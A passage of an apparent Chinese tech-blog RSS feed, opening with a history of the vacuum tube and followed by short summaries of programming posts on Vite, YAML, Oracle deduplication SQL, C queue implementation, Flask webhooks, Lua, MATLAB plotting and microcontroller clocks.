      <description>到底什么是电子管（真空管）？ 小枣君&#xA;​​&#xA;1883年，著名发明家托马斯·爱迪生（Thomas Edison）在一次实验中，观察到一种奇怪现象。&#xA;当时，他正在进行灯丝（碳丝）的寿命测试。在灯丝旁边，他放置了一根铜丝，但铜丝并没有接在任何电极上。也就是说，铜丝没有通电。&#xA;碳丝正常通电后，开始发光发热。过了一会，爱迪生断开电源。他无意中发现，铜丝上竟然也产生了电流。&#xA;爱迪生没有办法解释出现这种现象的原因，但是，作为一个精明的“商人”，他想到的第一件事，就是给这个发现申请专利。他还将这种现象，命名为“爱迪生效应”。&#xA;爱迪生&#xA;现在我们知道，爱迪生效应的本质，是热电子发射。也就是说，灯丝被加热后，表面的电子变得活跃，“逃”了出去，结果被金属铜丝捕获，从而产生了电流。&#xA;爱迪生申请专利之后，并没有想到这个效应有什么用途，于是将其束之高阁。&#xA;1884年，爱迪生电光公司的技术顾问、英国物理学家约翰·安布罗斯·弗莱明（John Ambrose Fleming）访问美国，与爱迪生进行会面。爱迪生向弗莱明展示了自己发现的爱迪生效应，给弗莱明留下了深刻的印象。&#xA;弗莱明&#xA;这个弗莱明，大家应该也比较熟悉。他是一个电学专家，也是一个电机工程师，我们中学经常使用的右手定则，就是他发明的。&#xA;除了传统电学之外，弗莱明其实还有一个强项，那就是无线电磁学。他年轻的时候，曾经师从麦克斯韦，专门学习无线电磁理论。麦克斯韦临终前上课，只有两个学生来听，其中一个，就是弗莱明。&#xA;弗莱明观摩了爱迪生效应的演示后，也没有想到这个效应到底能用来干啥。事实上，等到他真正用到它，已经是十几年后。&#xA;1896年，意大利人伽利尔摩·马可尼（Guglielmo Marconi）成功取得了世界上第一个无线电报系统专利，从而将人类带入无线通信时代。&#xA;马可尼&#xA;1899年，马可尼决定尝试横跨大西洋的远程无线电通信。为了完成这个壮举，他找来了弗莱明，和他签约，请他帮忙改进自己的无线电发射机和接收机。&#xA;弗莱明也确实没有辜负马可尼的期望，大幅改进了马可尼的设计，帮助实现了跨大西洋无线通信实验。（可惜，马可尼刻意对外隐瞒了弗莱明的贡献，还“忘记”了自己承诺要给弗莱明的500股股票奖励，把弗莱明气得半死。）&#xA;弗莱明在改进无线通信系统的时候，遇到了很多技术挑战。其中，最大的挑战，就是无线信号的接收。&#xA;简单来说，就是在接收端，如何检波信号，放大信号，让信号能够被完美解读。&#xA;放大信号大家都懂，那什么是检波信号呢？&#xA;所谓信号检波，其实就是信号筛选。天线接收到的信号，是非常杂乱的，什么信号都有。我们真正需要的信号（指定频率的信号），需要从这些杂乱信号中“过滤”出来，这就是检波。&#xA;想要实现检波，单向导通性（单向导电）是关键。&#xA;大家都知道，无线电磁波是高频振荡，每秒高达几十万次的频率。无线电磁波产生的感应电流，也随着“正、负、正、负”不断变化，如果我们用这个电流去驱动耳机，一正一负就是零，耳机就没办法反应出信号。&#xA;采用单向导电性，正弦波的负半周就没有了，全部是正的，电流方向一致，把高频过滤掉之后，耳机就能够轻松体现出电流的变化。&#xA;去掉负半周，电流方向变成一致的，容易解读&#xA;在这里，我要先给大家介绍一样东西——矿石检波器。&#xA;1874年，德国科学家卡尔·布劳恩（Karl Ferdinand Braun）发现，有一些天然矿石（金属硫化物）具有电流单向导通的特性，可以用于整流（将交流电变成直流电）。&#xA;1894年，英属印度物理学家贾格迪什·钱德拉·博斯（Jagadish Chandra Bose）基于卡尔·布劳恩的发现，利用方铅矿（硫化铅）的单向导电性，制成了世界上第一个检波器——矿石检波器。&#xA;1900年，美国人格林里夫·惠特勒·皮卡德（Greenleaf Whittier Pickard），基于矿石检波器，成功制造了世界上第一个矿石收音机。这为后来无线电广播的迅速普及奠定了基础。&#xA;弗莱明在研究如何改进无线电接收机的时候，采用了矿石检波器。但是，他想起了之前的爱迪生效应，他想到——是不是可以基于爱迪生效应的电子流动，设计一个新型的检波器呢？&#xA;就这样，1904年，世界上第一只真空电子二极管，在弗莱明的手下诞生了。当时，这个二极管也叫做“弗莱明阀”。（真空管，vacuum tube，也就是电子管，有时候也叫“胆管”。）&#xA;弗莱明发明的二极管&#xA;弗莱明的二极管，结构其实非常简单，就是真空玻璃灯泡里，塞了两个极：一个阴极（Cathode），加热后可以发射电子；一个阳极（Anode），接收电子。&#xA;旁热式二极管&#xA;玻璃管里之所以要抽成真空，是为了防止发生气体电离，对正常的电子流动造成影响，破坏特性曲线。（抽成真空，还可以有效降低灯丝的氧化损耗。）&#xA;二极管的出现，解决了检波和整流需求。但是，它还有改进的空间。&#xA;1899年，马可尼应邀到美国做无线电通讯表演。他的表演，吸引了一个年轻人的关注。这个年轻人，就是刚刚获得博士学位的德福雷斯特（De Forest Lee）。&#xA;德福雷斯特&#xA;德福雷斯特为马可尼的无线电感到着迷。于是，他投递简历，想要加入马可尼的公司。结果，遭到拒绝。&#xA;被拒绝之后，德福雷斯特没有放弃，而是继续研究无线电通信。他的目光，放在了弗莱明的二极管上。&#xA;1906年，德·福雷斯特在真空二极电子管里，巧妙地加了一个栅板（“栅极”），发明了真空三极电子管。&#xA;德·福雷斯特发明的三极管&#xA;栅板的主要作用，是控制电流。&#xA;栅极上很小的电流变化，能引起阳极很大的电流变化，而且，变化波形与栅极电流完全一致。所以， 三极管有信号放大的作用。&#xA;现在看来，真空三极管的发明，是电子工业领域的里程碑事件。&#xA;这个小小的元件，集检波、放大和振荡三种功能于一体，为电子技术的发展奠定了基础。&#xA;一开始的三极管是单栅，后来变成了两个板子夹在一起的双栅，再后来，干脆变成了整个包起来的围栅&#xA;真空管&#xA;真空三极管是那一时期电子工业的心脏。基于它，我们才有了性能越来越强大的广播电台、收音机、留声机、电影、电台、雷达、无线电对讲等。&#xA;真空管收音机的内部构造（可以看到很多个真空管）&#xA;德·福雷斯特发明了三极管之后，很快陷入与弗莱明以及马可尼公司的专利官司。&#xA;双方互相起诉，弗莱明认为德·福雷斯特侵犯了自己的二极管专利，而德·福雷斯特则认为自己的改进很大，足以形成新的专利。官司打了很久，最终，双方达成和解，相互授权对方生产二极管（三极管）。&#xA;三极管诞生后，因为能放大信号，所以受到了美国通信巨头AT&amp;amp;T公司的关注。</description>
    </item>
    <item>
      <title>Vite教程 安装</title>
      <link>https://bchobby.github.io/posts/8d92368214090a20912db6eebdb0e01d/</link>
      <pubDate>Thu, 08 Jun 2023 15:57:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d92368214090a20912db6eebdb0e01d/</guid>
      <description>首先先介绍一下vite，vite这个名字起源于法语就是很快的意思。应为他是冷服务不打包 用es6 import 来引入对应 的js。其次就是使用rollup 去打包。开发中有热更新等。&#xA;vite为何如此快 ------------ESBuild解析---------&#xA;ESBuild的特点&#xA;超快的构建速度 不需要缓存&#xA;支持ES6和commonjs模块化&#xA;支持Es6的Tree-shaking&#xA;支持GO， javascript的api&#xA;支持typescript和jsx等语法的编译&#xA;支持sourceMao&#xA;支持代码压缩&#xA;支持拓展其他插件&#xA;EsBuild的构建速度是 rollup+terser webpack parcel的几百倍&#xA;esbuild为什么这么快 ：因为是使用go语言编写的 直接转换为机器码 无需经过字节码 机器码直接在操作系统上执行&#xA;js代码执行： 代码–&amp;gt;解析转换为asd树–&amp;gt;字节码—&amp;gt;读取字节码–&amp;gt;在对字节码进行转换&#xA;会合理运用cup内核 尽可能饱和运行&#xA;esbuild所有的内容都是从0开始编写的 而不是使用的第三方 一开始就考虑到各种性能问题&#xA;-------------------------vite依赖了esbuild所以编译代码速度很快------------------&#xA;vite脚手架 在开发中 不可能所有的项目都是使用 vite从0开始去搭建的 比如 react vue&#xA;这时候 vite还提供了对应的脚手架工具&#xA;vite实际上有2个工具&#xA;1： vite:相当于一个构建工具 类似于webpack rollup&#xA;2：&#xA;@vitejs/create-app：类似于vue-cli create-react-app&#xA;使用脚手架工具&#xA;1: 这个做法省去了安装脚手架的过程&#xA;cnpm init @vitejs/app //此写法废弃了&#xA;npm create vite@latest//新写法&#xA;2:&#xA;2-1安装脚手架&#xA;cnpm i @vitejs/create-app -g</description>
    </item>
    <item>
      <title>yaml 文件格式语法</title>
      <link>https://bchobby.github.io/posts/84a6a3b7abbc28e61f8d374fada86460/</link>
      <pubDate>Thu, 08 Jun 2023 15:55:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84a6a3b7abbc28e61f8d374fada86460/</guid>
      <description>1. yaml文件格式是YAML (YAML Aint Markup Language)编写的文件格式，YAML是一种直观的数据序列化格式，可读性强，可被支持YAML库的不同的编程语言程序导入，如： C/C++, Ruby, Python, Java, Perl, C#, PHP等。它是以数据为核心的，比传统的xml方式更加简洁。其扩展名可以使用.yml或者.yaml。&#xA;2. 语法&#xA;2.1 常用数据格式&#xA;语法：key: value&#xA;示例：name: zhangsan&#xA;注意：value之前有一个空格&#xA;2.2 配置对象或map数据&#xA;语法：&#xA;key:&#xA;key1: value1&#xA;key2: value2&#xA;或者&#xA;key: {key1: value1,key2: value2}&#xA;示例：&#xA;person:&#xA;name: zhangsan&#xA;age: 30&#xA;addr: beijing&#xA;或者&#xA;person: {name: zhangsan,age: 30,addr: beijing}&#xA;2.3 配置List,Set数据&#xA;语法：&#xA;key:&#xA;- value1&#xA;- value2&#xA;或者&#xA;key: [value1,value2]&#xA;示例：&#xA;city:&#xA;- beijing&#xA;- tianjin&#xA;#或者&#xA;city: [beijing,tianjin]</description>
    </item>
    <item>
      <title>oracle删除重复数据保留第一条记录</title>
      <link>https://bchobby.github.io/posts/acd2a4f8115191889f7cabe27749b565/</link>
      <pubDate>Thu, 08 Jun 2023 14:41:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/acd2a4f8115191889f7cabe27749b565/</guid>
      <description>delete from 表名 a --create table 表名__bk_20230608 as --select * from 表名 a where (主键字段) in ( select 主键字段 from 表名 group by 主键字段 having count(*) &amp;gt; 1 ) and rowid not in ( select min(rowid) from 表名 group by 主键字段 having count(*)&amp;gt;1 ) oracle删除重复数据保留第一条记录&#xA;1、查找表中多余的重复记录，重复记录是根据单个字段（Id）来判断&#xA;select * from 表 where Id in (select Id from 表 group byId having count(Id) &amp;gt; 1) 2、删除表中多余的重复记录，重复记录是根据单个字段（Id）来判断，只留有rowid最小的记录&#xA;DELETE from 表 WHERE (id) IN ( SELECT id FROM 表 GROUP BY id HAVING COUNT(id) &amp;gt; 1) AND ROWID NOT IN (SELECT MIN(ROWID) FROM 表 GROUP BY id HAVING COUNT(*) &amp;gt; 1); 3、查找表中多余的重复记录（多个字段）</description>
    </item>
    <item>
      <title>用栈实现队列 / 用队列实现栈</title>
      <link>https://bchobby.github.io/posts/573c8ce716aebb09501973eeb9e10eee/</link>
      <pubDate>Thu, 08 Jun 2023 14:35:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/573c8ce716aebb09501973eeb9e10eee/</guid>
      <description>OJ题链接： 用栈实现队列&#xA;用队列实现栈&#xA;用栈实现队列 1.基本思想 我们需要实现队列的四种操作：增删查和判空。对于栈，我们增加元素和删除元素都只能从栈顶实现，并且只能返回栈顶的元素，而对于队列，以栈的视角来看，我们增加元素从栈顶插入，而删除和查找只能从栈底实现，所以我们的重点应放在如何获取和改变栈底的元素上。&#xA;我们构建两个栈，如果想获得栈底的元素，我们可以把栈1的元素全部“倒入”栈2中，便实现了栈的反转。&#xA;此时我们对栈二进行出栈的操作，就相当于删除了栈1栈尾的元素（也就是队列的删除） 而我们想插入，因为栈的插入和队列的插入是相同的，所以我们只需要把栈2的元素再倒回栈1，对栈1进行插入便可以了&#xA;但是，如果我们需要连续删除，需不需要倒来倒去呢？&#xA;我们发现，删除1之后，2成为了栈1栈底的元素。也就是说，无论我们进行多少次删除，栈2中栈顶的元素永远是栈1中栈底的元素，对栈2的出栈永远是队列的出队列&#xA;所以我们可以把栈1定义为入队列的栈，把栈2定义为出队列的栈，如果要入队列，只需要把栈2的元素全部倒入栈1，而如果要出队列，只需要把栈1的元素全部倒入栈2，然后进行入栈出栈的操作。&#xA;2.判空 如果入队列栈（栈1），出队列栈（栈2）都为空，队列自然也为空&#xA;3.增 如果出队列栈为空，则有两种情况：&#xA;队列为空元素全在入队列栈 而无论哪种情况，都可以直接将元素插入入队列栈&#xA;如果出队列栈不为空，则需先将出队列栈元素全部倒入入队列栈，然后再将元素插入入队列栈 4.删 如果入队列栈为空，则有两种情况&#xA;队列为空元素全在出队列栈 对于第一种情况，队列没有元素进行队列的删除，会发生报错&#xA;而对于第二种情况，可以直接将栈顶元素删除&#xA;如果入队列栈不为空，则需先将入队列栈元素全部倒入出队列栈，然后再将出队列栈栈顶元素删除。&#xA;5.查找队列头元素 和队列的删除一样，只不过我们不需要删除该元素，只需要返回出队列栈的栈顶元素便可&#xA;6.总代码实现 typedef int STDataType; typedef struct Stack { STDataType* a; int top;&#x9;// 栈顶 int capacity; // 容量 }Stack; // 初始化栈 void StackInit(Stack* ps) { STDataType* tmp = (STDataType*)malloc(sizeof(STDataType) * 4); ps-&amp;gt;a = tmp; ps-&amp;gt;top = 0; ps-&amp;gt;capacity = 4; } // 入栈 void StackPush(Stack* ps, STDataType data) { if (ps-&amp;gt;top == ps-&amp;gt;capacity) { STDataType* tmp = (STDataType*)realloc(ps-&amp;gt;a, sizeof(STDataType) * ps-&amp;gt;capacity * 2); ps-&amp;gt;a = tmp; ps-&amp;gt;capacity *= 2; } (ps-&amp;gt;a)[ps-&amp;gt;top] = data; ps-&amp;gt;top++; } // 出栈 void StackPop(Stack* ps) { assert(ps-&amp;gt;top); ps-&amp;gt;top--; } // 获取栈顶元素 STDataType StackTop(Stack* ps) { assert(ps-&amp;gt;top); return (ps-&amp;gt;a)[ps-&amp;gt;top - 1]; } // 获取栈中有效元素个数 int StackSize(Stack* ps) { return ps-&amp;gt;top; } // 检测栈是否为空，如果为空返回非零结果，如果不为空返回0 int StackEmpty(Stack* ps) { if (ps-&amp;gt;top == 0) { return 1; } else { return 0; } } // 销毁栈 void StackDestroy(Stack* ps) { free(ps-&amp;gt;a); ps-&amp;gt;top = 0; ps-&amp;gt;capacity = 0; } //队列的定义 typedef struct { Stack* Stack1;//入队列栈 Stack* Stack2;//出队列栈 } MyQueue; //队列的创建 MyQueue* myQueueCreate() { Stack* pstack1=(Stack*)malloc(sizeof(Stack)); Stack* pstack2=(Stack*)malloc(sizeof(Stack)); StackInit(pstack1); StackInit(pstack2); MyQueue* queue=(MyQueue*)malloc(sizeof(MyQueue)); queue-&amp;gt;Stack1=pstack1; queue-&amp;gt;Stack2=pstack2; return queue; } //队列的插入 void myQueuePush(MyQueue* obj, int x) { if(StackEmpty(obj-&amp;gt;Stack1)) { while(!</description>
    </item>
    <item>
      <title>使用 GitHub 和 Python 实现持续部署</title>
      <link>https://bchobby.github.io/posts/900443f460c01b970a37eacc24ff3b04/</link>
      <pubDate>Thu, 08 Jun 2023 14:18:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/900443f460c01b970a37eacc24ff3b04/</guid>
      <description>转自：https://www.weidianyuedu.com/&#xA;借助 GitHub 的网络钩子webhook，开发者可以创建很多有用的服务。从触发一个 Jenkins 实例上的 CI（持续集成） 任务到配置云中的机器，几乎有着无限的可能性。这篇教程将展示如何使用 Python 和 Flask 框架来搭建一个简单的持续部署（CD）服务。&#xA;在这个例子中的持续部署服务是一个简单的 Flask 应用，其带有接受 GitHub 的网络钩子webhook请求的 REST 端点endpoint。在验证每个请求都来自正确的 GitHub 仓库后，服务器将拉取pull更改到仓库的本地副本。这样每次一个新的提交commit推送到远程 GitHub 仓库，本地仓库就会自动更新。&#xA;Flask web 服务&#xA;用 Flask 搭建一个小的 web 服务非常简单。这里可以先看看项目的结构。&#xA;├── app&#xA;│ ├── init.py&#xA;│ └── webhooks.py&#xA;├── requirements.txt&#xA;└── wsgi.py&#xA;首先，创建应用。应用代码在 app 目录下。&#xA;两个文件（init.py 和 webhooks.py）构成了 Flask 应用。前者包含有创建 Flask 应用并为其添加配置的代码。后者有端点endpoint逻辑。这是该应用接收 GitHub 请求数据的地方。&#xA;这里是 app/init.py 的内容：&#xA;import os&#xA;from flask import Flask&#xA;from .webhooks import webhook&#xA;def create_app():</description>
    </item>
    <item>
      <title>windows git clone下载gitlab代码操作</title>
      <link>https://bchobby.github.io/posts/0a68874d25a2c705d62e818820ae0ee2/</link>
      <pubDate>Thu, 08 Jun 2023 13:29:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a68874d25a2c705d62e818820ae0ee2/</guid>
      <description>安装git git下载地址&#xA;生成密钥 打开Git Bash&#xA;输入命令：ssh-keygen，生成密钥&#xA;用记事本打开生成的id_rsa.pub密钥文件，复制生成的密钥：&#xA;配置密钥 登录gitlab或者github：&#xA;配置ssh密钥：&#xA;clone 文件 在存储下载项目的文件夹下右键，打开Git Bash。</description>
    </item>
    <item>
      <title>Vue实现动态src实现播放音频(audio标签)本地</title>
      <link>https://bchobby.github.io/posts/e3410749cf05c9c8ffe470995d92cad8/</link>
      <pubDate>Thu, 08 Jun 2023 12:09:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3410749cf05c9c8ffe470995d92cad8/</guid>
      <description>项目场景： 技术场景：Vue2,iview&#xA;需求场景：公司项目要实现一个扫码枪录入条码，并在录入条码后动态播放一段音频。&#xA;问题描述 使用原生audio标签无法成功播放音频。&#xA;&amp;lt;div&amp;gt; &amp;lt;audio controls ref=&#34;audio&#34;&amp;gt; &amp;lt;source src=&#34;./扫描成功.mp3&#34; /&amp;gt; &amp;lt;/audio&amp;gt; &amp;lt;/div&amp;gt; 报错信息：&#xA;Uncaught (in promise) DOMException: Failed to load because no supported source was found. 原因分析： 无法读取音频文件；&#xA;音频文件需要import 或require()导入本地；&#xA;解决方案： 直接上代码咯！！&#xA;&amp;lt;div&amp;gt; &amp;lt;audio controls ref=&#34;audio&#34;&amp;gt; &amp;lt;source src=&#34;./扫描成功.mp3&#34; /&amp;gt; &amp;lt;/audio&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;z-button @click=&#34;play(&#39;扫描成功.mp3&#39;)&#34;&amp;gt;播放1&amp;lt;/z-button&amp;gt; &amp;lt;z-button @click=&#34;play(&#39;未命名文本3.mp3&#39;)&#34;&amp;gt;播放2&amp;lt;/z-button&amp;gt; &amp;lt;div&amp;gt; &amp;lt;script&amp;gt; play(val) { let music = new Audio() // 这里获取播放路径 music = require(`./${val}`) this.$refs.audio.src = music this.$nextTick(res =&amp;gt; { const { audio } = this.</description>
    </item>
    <item>
      <title>《Lua程序设计》--学习2</title>
      <link>https://bchobby.github.io/posts/7ed7e4129db286daee147fe2e2b86539/</link>
      <pubDate>Thu, 08 Jun 2023 11:25:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ed7e4129db286daee147fe2e2b86539/</guid>
      <description>表 Lua语言中的表本质上是一种辅助数组（associative array），这种数组不仅可以使用数值作为索引，也可以使用字符串或其他任意类型的值作为索引（nil除外）。&#xA;Lua语言中的表要么是值要么是变量，它们都是对象（object），表是一种动态分配的对象，程序只能操作指向表的引用（或指针）。除此以外，Lua语言不会进行隐藏的拷贝（hidden copies）或创建新的表&#xA;对于一个表而言，当程序中不再有指向它的引用时，垃圾收集器会最终删除这个表并重用其占用的内存。&#xA;当语句 b = a，指的是b这个引用也指向了a指向的表，指向的是同一张表&#xA;表索引值 同一个表中存储的值可以具有不同的类型索引，并可以按需增长以容纳新的元素&#xA;将nil赋值给表元素可以将其删除，Lua语言实际上就是使用表来存储全局变量的&#xA;当把表当作结构体使用时，可以把索引当作成员名称使用&#xA;a.x代表的是a[&#34;x&#34;]，即由字符串&#34;x&#34;索引的表；而a[x]则是指由变量x对应的值索引的表&#xA;2和2.0的值相等，所以当它们被当作表索引使用时指向的是同一个表元素，当被用作表索引时，任何能够被转换为整型的浮点数都会被转换成整型数&#xA;表构造器 表构造器（Table Constructor）是用来创建和初始化表的表达式&#xA;在同一个构造器中，可以混用记录式（record-style）和列表式（list-style）写法&#xA;通过方括号括起来的表达式显式的指定每一个索引&#xA;数组，列表和序列 如果想表示常见的数组（array）或列表（list），那么只需要使用整型作为索引的表即可&#xA;我们把这种所有元素都不为nil的数组称为序列（sequence），也就是整个数组是全部有效的，没有空洞，可以将末尾设置成nil来标记数组的长度&#xA;操作符 # 也可以用于表，返回表对应的序列的长度&#xA;对于中间存在空洞（nil值）的列表而言，序列长度操作时不可靠的&#xA;不包含数值类型的键的表就是长度为零的序列&#xA;遍历表 pairs 顺序是随机的，保证每个元素出现一次&#xA;ipairs 遍历，保证按顺序遍历&#xA;使用数值型for循环&#xA;安全访问 对表进行了6次访问，改写成下面这样&#xA;于表达式a or{}，当a为nil时其结果是一个空表&#xA;表中的每个字段名都只是用了一次，从而保证了尽可能少的对表进行访问，本例中访问了三次，同时避免了引入新的操作符&#xA;表标准函数 函数table.insert向序列的指定位置插入一个元素，其他元素依次后移&#xA;对于列表t={10,20,30}，在调用table.insert（t,1,15）后它会变成{15,10,20,30}&#xA;调用时不指定位置的话会直接插在末尾不移动任何元素&#xA;函数table.remove删除并返回序列指定位置的元素，然后将其后的元素向前移动填充删除元素后造成的空洞。如果在调用该函数时不指定位置，该函数会删除序列的最后一个元素&#xA;函数table.move（a,f,e,t），调用该函数可以将表a中从索引f到e的元素（包含索引f和索引e对应的元素本身）移动到位置t上，这样就可以空出第一个元素的位置，方便模拟栈&#xA;函数 当函数只有一个参数且该参数是字符串常量或表构造器时，括号是可选的：&#xA;Lua语言也为面向对象风格的调用（object-oriented call）提供了一种特殊的语法，即冒号操作符。形如o:foo（x）的表达式意为调用对象o的foo方法&#xA;一个Lua程序既可以调用Lua语言编写的函数，也可以调用C语言（或者宿主程序使用的其他任意语言）编写的函数&#xA;调用函数时使用的参数个数可以与定义函数时使用的参数个数不一致。Lua语言会通过抛弃多余参数和将不足的参数设为nil的方式来调整参数的个数。&#xA;多返回值 使用多重赋值（multipleassignment）可以同时获取到这两个结果：&#xA;Lua语言编写的函数同样可以返回多个结果，只需在return关键字后列出所有要返回的值即可&#xA;Lua语言根据函数的被调用情况调整返回值的数量。当函数被作为一条单独语句调用时，其所有返回值都会被丢弃；当函数被作为表达式（例如，加法的操作数）调用时，将只保留函数的第一个返回值。只有当函数调用是一系列表达式中的最后一个表达式（或是唯一一个表达式）时，其所有的返回值才能被获取到&#xA;在多重赋值中，如果一个函数调用是一系列表达式中的最后（或者是唯一）一个表达式，则该函数调用将产生尽可能多的返回值以匹配待赋值变量，否则只返回一个结果&#xA;当一个函数调用是另一个函数调用的最后一个（或者是唯一）实参时，第一个函数的所有返回值都会被作为实参传给第二个函数。我们已经见到过很多这样的代码结构，例如函数print。由于函数print能够接收可变数量的参数，所以print（g（））会打印出g返回的所有结果。&#xA;表构造器会完整地接收函数调用的所有返回值，而不会调整返回值的个数&#xA;不过，这种行为只有当函数调用是表达式列表中的最后一个时才有效，在其他位置上的函数调用总是只返回一个结果：&#xA;将函数调用用一对圆括号括起来可以强制其只返回一个结果&#xA;可变长参数函数 Lua语言中的函数可以是可变长参数函数（variadic），即可以支持数量可变的参数&#xA;我们将三个点组成的表达式称为可变长参数表达式（vararg expression）&#xA;具有可变长参数的函数也可以具有任意数量的固定参数，但固定参数必须放在变长参数之前。Lua语言会先将前面的参数赋给固定参数，然后将剩余的参数（如果有）作为可变长参数。&#xA;样。不过，在某些罕见的情况下，如果可变长参数中包含无效的nil，那么{...}获得的表可能不再是一个有效的序列。此时，就没有办法在表中判断原始参数究竟是不是以nil结尾的。对于这种情况，Lua语言提供了函数table.pack。该函数像表达式{...}一样保存所有的参数，然后将其放在一个表中返回，但是这个表还有一个保存了参数个数的额外字段&#34;n&#34;&#xA;另一种遍历函数的可变长参数的方法是使用函数select。函数select总是具有一个固定的参数selector，以及数量可变的参数。如果selector是数值n，那么函数select则返回第n个参数后的所有参数；否则，selector应该是字符串&#34;#&#34;，以便函数select返回额外参数的总数。&#xA;函数table.unpack 该函数的参数是一个数组，返回值为数组内的所有元素：</description>
    </item>
    <item>
      <title>MATLAB绘图必看，画图大全！MATLAB绘图基础操作大全—折线图、散点图、颜色样式、线条粗细汇总</title>
      <link>https://bchobby.github.io/posts/671b2081145be688552b5d804222469c/</link>
      <pubDate>Thu, 08 Jun 2023 10:50:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/671b2081145be688552b5d804222469c/</guid>
      <description>提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档&#xA;文章目录 一、颜色大全二、线条符号大全2.折线图绘制 三、散点图绘制四、折线图绘制五、添加图例、题目、坐标轴（题目）六、画图时显示或隐藏坐标区域网格七、同一个图片绘制多个图像、绘制多幅图八、一个图窗绘制多幅图，多个图在一个图窗显示总结参考 一、颜色大全 颜色符号对应颜色r红色g绿色b蓝色c青绿色m粉红色y黄色k黑色w白色 二、线条符号大全 标记符号对应颜色＋加号o空心圆‘*’星号x叉d菱形^上三角形p(pentagram)五角星h(hexagram)六边形s(square)正方形 线性符号含义-实线(默认)–双划线:虚线:.点划线 2.折线图绘制 代码如下（示例）：&#xA;x1 = [50 60 70 80 90 96]; y1_A = [1.0159 1.2227 1.2755 1.2845 1.4111 1.5173]; plot(x1,y1_A,&#39;-*&#39;,&#39;color&#39;,&#39;b&#39;,&#39;MarkerSize&#39;,8); 该处使用的url网络请求的数据。&#xA;三、散点图绘制 使用plot函数，不加线性符号即可&#xA;代码如下（示例）：&#xA;x1 = [50 60 70 80 90 96]; y1_A = [1.0159 1.2227 1.2755 1.2845 1.4111 1.5173]; plot(x1,y1_A,&#39;*&#39;); 四、折线图绘制 只要在散点图的基础上，加上线性符号，例如“-”即可，把相应的散点图改为折线图只需要在标记符号前面加上线型符号即可&#xA;代码如下（示例）：&#xA;x1 = [50 60 70 80 90 96]; y1_A = [1.0159 1.2227 1.2755 1.2845 1.4111 1.5173]; plot(x1,y1_A,&#39;-*&#39;); 五、添加图例、题目、坐标轴（题目） 1.</description>
    </item>
    <item>
      <title>Excel问题记录</title>
      <link>https://bchobby.github.io/posts/2236d9336f34a0f3ceccacd5030a7839/</link>
      <pubDate>Thu, 08 Jun 2023 10:47:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2236d9336f34a0f3ceccacd5030a7839/</guid>
      <description>插件 E2D3 可视化插件 （word cloud） 在excel --&amp;gt; 插入 --&amp;gt; 加载项 中搜索E2D3&#xA;然后再任何一单元格点击下，进行点击可视化&#xA;之后点击单元格的部分就会出现，表头为name和value的初始化数据， 将自己的数据直接覆盖掉初始化的数据， 保留name， 和value，保存就可以了&#xA;关键问题 有时候可视化词云字段太长， 就会出现一个很长的”词“并且出现的频率很高，却没有显示。这时候可以通过放大和缩小进行调整。就很无语&#xA;问题 很抱歉,你的组织已禁用访问 Office 应用商店。请与管理员联系以申请访问权限。 因为我之前将我的Microsoft账号和学校邮箱进行关联， 所以office自动使用了学校邮箱账号， 导致出现这一错误。解决办法就是始终自己的个人账号。</description>
    </item>
    <item>
      <title>时钟系统总结</title>
      <link>https://bchobby.github.io/posts/e5468eff66c7084554278b1d5862f37a/</link>
      <pubDate>Thu, 08 Jun 2023 10:25:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e5468eff66c7084554278b1d5862f37a/</guid>
      <description>如果把mcu比成人脑，那么时钟晶振就是人的心脏。😇&#xA;时钟源分类 a.石英晶体/晶振&#xA;Q值高，输出能力强，应用于要求低抖动的场合，在器件的外部使用，频率可达100MHz。&#xA;晶体（也可称为无源晶振），无源晶振应用压电效应的石英晶体进行工作，有源晶振内部封装了石英晶体、振荡电路、输出电平调节电路的模块来工作。&#xA;有源晶振，无源晶振的区别在于是否使用能源来显示其特性,无源晶振如电容，电阻，电感，二极管。有源晶体如三极管，场效应管。&#xA;具体可参考https://zhuanlan.zhihu.com/p/96164213&#xA;b.振荡器&#xA;RC，LC振荡器和晶体振荡器。&#xA;c.锁相环&#xA;锁相环的特点是：利用外部输入的参考信号控制环路内部振荡信号的频率和相位。可以实现输出信号频率对输入信号频率的自动跟踪，所以锁相环通常用于闭环跟踪电路。锁相环在工作的过程中，当输出信号的频率与输入信号的频率相等时，输出电压与输入电压保持固定的相位差值。&#xA;2、时钟信号 （1）高速外部时钟信号（HSE）&#xA;以外部晶振作时钟源，晶振频率可取范围为4~16MHz，一般采用8MHz的晶振。&#xA;（2）高速芯片内部时钟信号（HSI）&#xA;由内部8MHz的RC振荡器产生，起振较快，可直接作为系统时钟或在2分频后作为PLL输入，但不稳定。&#xA;（3）低速外部时钟信号(LSE)&#xA;以外部晶振作时钟源，主要提供给实时时钟模块，一般采用32768Hz。&#xA;（4）低速内部时钟信号(LSI)&#xA;由内部RC振荡器产生，主要提供给实时时钟模块，频率大约为40KHz。&#xA;3、应用 （1）高速时钟(HSE和HSI）为芯片提供主时钟，有时也可以提供给RTC。由于内部的晶振起振较快，时钟在芯片刚上电的时候，默认使用内部高速时钟HSI。由于外部的晶振精度高，较稳定，上电之后可通过软件配置，可使用外部时钟HSE信号。&#xA;（2）低速时钟(LSE和LSI)只是提供给芯片中的RTC(实时时钟)及独立看门狗使用。&#xA;推荐 https://blog.csdn.net/m0_58838850/article/details/126196369&#xA;重点：时钟树。&#xA;4、程序 /*SCLK_Value系统主时钟频率，MHZ*/&#xA;void SystemInit(uint8_t SCLK_Value)&#xA;{&#xA;/* 配置系统时钟源、PLL乘法器和分频器因子 */&#xA;SetSysClock(SCLK_Value);&#xA;}</description>
    </item>
    <item>
      <title>看门狗watchdog</title>
      <link>https://bchobby.github.io/posts/a91d3a8a8872fcac51b86cc2d3551771/</link>
      <pubDate>Thu, 08 Jun 2023 10:24:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a91d3a8a8872fcac51b86cc2d3551771/</guid>
